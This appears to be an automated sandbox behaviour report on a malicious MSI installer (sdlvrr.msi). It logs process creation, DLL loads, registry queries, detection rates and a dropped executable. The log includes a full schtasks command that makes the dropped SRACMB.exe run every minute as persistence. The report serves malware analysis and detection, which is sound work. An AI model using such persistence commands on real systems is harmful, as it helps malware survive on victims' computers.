Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'

Source: C:\Windows\Installer\MSI4976.tmp

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\Installer\MSI4976.tmp

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: sdlvrr.msi	Virustotal: Detection: 50%
Source: sdlvrr.msi	ReversingLabs: Detection: 42%

Source: unknown	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\sdlvrr.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI4976.tmp "C:\Windows\Installer\MSI4976.tmp"
Source: C:\Windows\Installer\MSI4976.tmp	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn VYZSPQ.exe /tr C:\Users\user\AppData\Roaming\Windata\SRACMB.exe /sc minute /mo 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Installer\MSI4976.tmp	Process created: C:\Windows\SysWOW64\wscript.exe WSCript C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn VYZSPQ.exe /tr C:\Users\user\AppData\Roaming\Windata\SRACMB.exe /sc minute /mo 1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe C:\Users\user\AppData\Roaming\Windata\SRACMB.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe "C:\Users\user\AppData\Roaming\Windata\SRACMB.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe "C:\Users\user\AppData\Roaming\Windata\SRACMB.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe "C:\Users\user\AppData\Roaming\Windata\SRACMB.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe C:\Users\user\AppData\Roaming\Windata\SRACMB.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe C:\Users\user\AppData\Roaming\Windata\SRACMB.exe
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI4976.tmp "C:\Windows\Installer\MSI4976.tmp"	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn VYZSPQ.exe /tr C:\Users\user\AppData\Roaming\Windata\SRACMB.exe /sc minute /mo 1	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Process created: C:\Windows\SysWOW64\wscript.exe WSCript C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn VYZSPQ.exe /tr C:\Users\user\AppData\Roaming\Windata\SRACMB.exe /sc minute /mo 1	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srclient.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Section loaded: propsys.dll	Jump to behavior

Source: C:\Windows\Installer\MSI4976.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: VYZSPQ.lnk.3.dr

LNK file: ..\..\..\..\..\Windata\SRACMB.exe

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_0048B0C0 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

3_2_0048B0C0

Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00328D99 push edi; retn 0000h	3_2_00328D9B
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00328F0E push F7FFFFFFh; retn 0000h	3_2_00328F13
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00347795 push ecx; ret	3_2_003477A8
